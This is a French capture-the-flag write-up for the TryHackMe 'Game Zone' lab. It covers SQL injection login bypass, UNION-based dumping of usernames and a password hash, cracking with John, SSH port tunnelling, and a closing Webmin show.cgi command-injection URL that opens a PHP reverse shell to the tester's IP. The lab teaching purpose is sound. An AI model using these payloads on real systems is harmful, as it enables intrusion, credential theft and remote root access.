Game Zone -TryHackMe – Ecriture du manuel SQLi

Reading Time: ( Word Count: )

février 20, 2021
Nextdoorsec-course

Intro

Cet article couvre l’exploitation manuelle d’une vulnérabilité SQLi sans l’utilisation de SQLMap, le craquage du mot de passe haché d’un utilisateur, l’utilisation de tunnels SSH pour révéler un service caché et l’obtention des privilèges root sans Metasploit. Voici un lien vers la boîte Tryhackme.

 

Enumération

Nmap scan

J’aime bien définir une variable d’environnement pour l’adresse IP de la cible, de sorte que je n’ai pas à m’en souvenir ou à la taper complètement à plusieurs reprises.

┌──(kali㉿kali)-[~] └─$ export IP=10.10.168.30 ┌──(kali㉿kali)-[~] └─$ nmap -A -sV -p- -v $IP
ÉTAT DU PORT VERSION DU SERVICE 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux ; protocole 2.0) | ssh-hostkey : | 2048 61:ea:89:f1:d4:a7:dc:a5:50:f7:6d:89:c3:af:0b:03 (RSA) | 256 b3:7d:72:46:1e:d3:41:b6:6a:91:15:16:c9:4a:a5:fa (ECDSA) |_ 256 53:67:09:dc:ff:fb:3a:3e:fb:fe:cf:d8:6d:41:27:ab (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-cookie-flags : | / : | PHPSESSID : |Le drapeau httponly n'est pas activé | http-methods : |Méthodes supportées : GET HEAD POST OPTIONS |_http-server-header : Apache/2.4.18 (Ubuntu) |_http-title : Game Zone Informations sur le service : OS : Linux ; CPE : cpe:/o:linux:linux_kernel

Seulement deux ports TCP ouverts, on ne peut pas faire grand-chose avec SSH sans identifiants, à part du bruteforcing. Examinons le site web fonctionnant sur le port 80.

Puisque cette machine est basée sur une vulnérabilité SQLi, commençons par les bases de SQLi.

Puisque cette machine est basée sur une vulnérabilité SQLi, commençons par les bases de l’injection SQL.

Injection SQL

L’injection SQL se produit lorsque des données contrôlées par l’utilisateur sont transmises à des requêtes SQL, ce qui permet de manipuler le résultat de ces requêtes.

Une requête se présente comme suit : SELECT ? FROM ? WHERE ? LIKE ? ce qui signifie SELECT something FROM some table WHERE some column LIKE '% %'il place par défaut la commande entre guillemets simples ' ' avec % % qui sont des caractères génériques. Si nous recherchons ookce qui donne '%ook%' où nous avons book dans notre base de données, nous serons en mesure de le trouver grâce à ces caractères génériques. Nous n’avons de contrôle que sur les book Nous ne pouvons pas modifier le reste de la requête car elle est codée en dur dans le code PHP de la base de données.

La première chose à faire est de trouver le système de gestion de base de données qui fonctionne sur le serveur. Le message d’erreur affiché sur le site web nous permet de savoir quel est le logiciel utilisé pour gérer la base de données.

Placez cette requête dans le formulaire de connexion :
john' or 0=0 #
ce qui donnera les résultats suivants :

SELECT * FROM users WHERE username='john' or 0=0;#' and password='john'; afficher/sélectionner toutes les colonnes de la table users où la colonne username est john or (exécute la requête si au moins une condition est vraie) 0=0 qui produira toujours vrai, et la requête sera exécutée. Le symbole de hachage # commente tout ce qui suit, ce qui ne tient pas compte de la partie suivante ' and password='john'. Si l’application est vulnérable, vous pourrez afficher toutes les colonnes et leurs valeurs. Mais dans notre cas, nous sommes en mesure de contourner l’écran de connexion.

Nous trouvons maintenant un autre formulaire SQL injectable comme champ de recherche :

Si nous mettons maintenant un guillemet simple
'
comme requête, un message d’erreur apparaîtra (le contenu peut également disparaître), nous renseignant sur le système de gestion de la base de données, qui est ici MySQL :

Vous avez une erreur dans votre syntaxe SQL ; consultez le manuel correspondant à votre version du serveur MySQL pour connaître la bonne syntaxe à utiliser près de '%' à la ligne 1.

« You have an error in your SQL syntax ; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘% » at line 1″

Utilisons notre première requête pour voir si nous pouvons afficher toutes les colonnes et leurs valeurs :

Nous ne voyons que deux colonnes dans le résultat, à savoir le titre et la révision. Il est temps d’énumérer le nombre de colonnes dans la table qui est interrogée par défaut. Pour ce faire, nous utiliserons une astuce simple : 'order by 1-- -.

Vous devrez incrémenter ce nombre de 1 jusqu’à ce que vous obteniez un message d’erreur, ce qui signifiera qu’il n’existe pas. En attendant, vous ne verrez aucun résultat si la commande s’exécute avec succès.

J’ai pu incrémenter jusqu’à 3 jusqu’à ce que je reçoive un message d’erreur. Notre cible comporte 3 colonnes.

Vous avez une erreur dans votre syntaxe SQL ; consultez le manuel correspondant à votre version du serveur MySQL pour connaître la bonne syntaxe à utiliser près de '%' à la ligne 1.

Nous pouvons maintenant essayer d’injecter des informations à l’aide de la commande
union
en utilisant la commande

Nous allons examiner les bases de données de MySQL à l’aide de la table INFORMATION_SCHEMA, qui fournit des informations sur toutes les tables, c’est-à-dire les métadonnées de la base de données ou le catalogue du système :

query > ' UNION select 1,table_schema,table_name from information_schema.tables #
... information_schema INNODB_CMPMEM information_schema INNODB_BUFFER_POOL_STATS information_schema INNODB_SYS_COLUMNS information_schema INNODB_SYS_FOREIGN information_schema INNODB_SYS_TABLESTATS db post db users mysql columns_priv base de données mysql mysql coût_du_moteur événement mysql ...

édite tous les tableaux et leurs valeurs. Les tables « post » et « users » nous semblent assez intéressantes dans la base de données « db ».

Maintenant, récupérons tout, car j’aime avoir plus d’informations à consulter :

query > ' union select 1, table_name,column_name from information_schema.columns #
... NNODB_SYS_TABLESTATS MODIFIED_COUNTER INNODB_SYS_TABLESTATS AUTOINC INNODB_SYS_TABLESTATS REF_COUNT post id post name post description users username users pwd columns_priv Host columns_priv Db columns_priv Utilisateur columns_priv Nom de la table ...

La requête ci-dessus nous renvoie tous les noms de tables et de colonnes. Nous ne mettons rien dans la première ligne parce qu’elle est cachée pour une raison que j’ignore. Si vous le savez, vous pouvez me le faire savoir ci-dessous.

Nous pouvons être plus précis et sélectionner les colonnes nom d’utilisateur et pwd de la table des utilisateurs.

query > 'union select 1, username,pwd from users #
agent47 ab5db915fc9ce[redacted]6500c57f2b52901ca6c06218f04122c3efd14

 

Déchiffrer le hachage

Maintenant que nous avons les informations d’identification, il est temps de déchiffrer le hachage. J’utilise le
site web
pour identifier le type de hachage et le craquer avec John.

┌──(kali㉿kali)-[~] └─$ sudo john hash.txt --wordlist=rockyou.txt --format=raw-sha256 Répertoire créé : /root/.john Utilisation de l'encodage d'entrée par défaut : UTF-8 Chargement de 1 hachage de mot de passe (Raw-SHA256 [SHA256 128/128 AVX 4x]) Attention : faible scalabilité OpenMP pour ce type de hachage, considérer --fork=8 Exécute 8 threads OpenMP Appuyez sur 'q' ou Ctrl-C pour abandonner, sur presque n'importe quelle autre touche pour obtenir l'état de la situation. [redacted] ( ?) 1g 0:00:00:00 DONE (2021-02-18 19:57) 2.777g/s 8192Kp/s 8192Kc/s 8192KC/s vimivi..vainlove Utilisez les options "--show --format=Raw-SHA256" pour afficher tous les mots de passe craqués de manière fiable Session terminée

Pour afficher l’écriture correcte de tous les types de hachage, utilisez l’option suivante :
john --list=formats

Exploitation

SSH

Si vous vous souvenez, nous avions également un port ssh ouvert, alors connectons-nous en utilisant les informations d’identification que nous avons récupérées et listons toutes les connexions de notre boîte.

┌──(kali㉿kali)-[~] └─$ ssh agent47@$IP agent47@gamezone:~$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port udp UNCONN 0 0 *:10000 *:* udp UNCONN 0 0 *:68 *:* tcp LISTEN 0 80 127.0.0.1:3306 *:* tcp LISTEN 0 128 *:10000 *:* tcp LISTEN 0 128 *:22 *:* tcp LISTEN 0 128 :::80 :::* tcp LISTEN 0 128 :::22 :::*

Le port 10000 n’est pas apparu dans notre scan Nmap, et les autres sont assez simples, donc pas très intéressants. Une règle de pare-feu doit bloquer le port 10000. Essayons de le vérifier :

agent47@gamezone:~$ cat /etc/iptables/rules.v4
cat : /etc/iptables/rules.v4 : Permission refusée

Bien que nous ne puissions pas voir l’iptables, en utilisant un tunnel SSH nous pouvons exposer le port à nous (localement) !

 

Tunnel SSH

Depuis notre machine locale, nous lançons :
ssh -L 10000:localhost:10000 agent47@$IP
pour tunneliser le port vers notre hôte local afin que nous puissions y accéder localement.

Une fois cela fait, dans votre navigateur, tapez localhost:10000et vous pourrez accéder au serveur web nouvellement exposé. Vous pouvez utiliser les informations d’identification trouvées précédemment.

La version exposée de la CMS est 1.580. Cela nous permet d’effectuer une recherche rapide des vulnérabilités potentielles :

┌──(kali㉿kali)-[~] └─$ searchsploit -w "webmin 1.580"
--------------------------------------------- -------------------------------------------- Titre de l'exploit | URL --------------------------------------------- -------------------------------------------- Webmin 1.580 - '/file/show.cgi' Virgule distante | https://www.exploit-db.com/exploits/21851 Webmin <1.920 - 'rpc.cgi' Exécution de code à distance https://www.exploit-db.com/exploits/47330 --------------------------------------------- -------------------------------------------- Shellcodes : Aucun résultat

Cela nous donne deux modules Metasploit et aucun exploit autonome. Après avoir lu le code du premier module Metasploit, nous constatons que l’ajout de /file/show.cgi à l’URL, nous permet de parcourir les répertoires en tant que racine.

Un peu plus d’énumération

Pour vous faire gagner du temps, j’ai essayé de retrouver
etc/passwd
&
etc/shadow
& puis de les craquer en utilisant john, mais la partie craquage n’a pas fonctionné.

J’ai vérifié le etc/sudoers mais rien d’intéressant. Il en va de même pour le etc/crontab fichier.

Le drapeau peut être facilement récupéré en passant par le chemin racine habituel, mais je voulais vraiment obtenir les privilèges de la racine d’abord.

Recherchons les binaires compatibles avec le bit SUID :

agent47@gamezone:/$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/newgrp /usr/bin/passwd /usr/bin/chsh /usr/bin/newuidmap /usr/bin/chfn /usr/bin/gpasswd /usr/bin/newgidmap /usr/bin/pkexec /usr/bin/at /usr/bin/sudo /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/snapd/snap-confine /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /bin/ntfs-3g /bin/umount /bin/fusermount /bin/mount /bin/ping /bin/su /bin/ping6

J’ai également téléchargé quelques scripts pour vérifier s’il y avait des faiblesses, mais tout est négatif.

 

L’escalade des privilèges

J’ai passé un peu de temps à télécharger des scripts de reverse shell et à les mettre dans le fichier /tmp mais cela n’a pas fonctionné. Enfin, j’ai trouvé le shell web PHP one-liner suivant qui a fonctionné en l’exécutant un peu différemment :

http://localhost:10000/file/show.cgi/bin//file/show.cgi/bin/A|php%20-r%20'$sock=fsockopen(%2210.8.152.221%22,443);exec(%22/bin/sh%20-i%20%3C&3%20%3E&3%202%3E&3%22);'| sudo nc -nlvp 443 à l'écoute [any] 443 ... se connecter à [10 .8.152.221] de (INCONNU) [10 .10.141.213] 42842 /bin/sh : 0 : ne peut pas accéder à l'appareil ; le contrôle des tâches est désactivé # whoami racine #
Aydan

Aydan

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

« Apple neutralise les vulnérabilités exploitées : Une mise à jour complète »

Apple a mis en place des améliorations de sécurité pour neutraliser les vulnérabilités de type "zero-day" ...

« Risques invisibles : Comment la clé volée de Microsoft pourrait débloquer plus de choses que prévu »

Le vol présumé d'une clé de sécurité de Microsoft pourrait avoir permis à des espions liés à Pékin de violer bien ...

« La performance de l’IA de ChatGPT : Au-delà du test de Turing ou pas tout à fait ? »

ChatGPT, un chatbot d'intelligence artificielle d'OpenAI, a fait des vagues dans le paysage technologique grâce à ...
0 commentaires

Soumettre un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *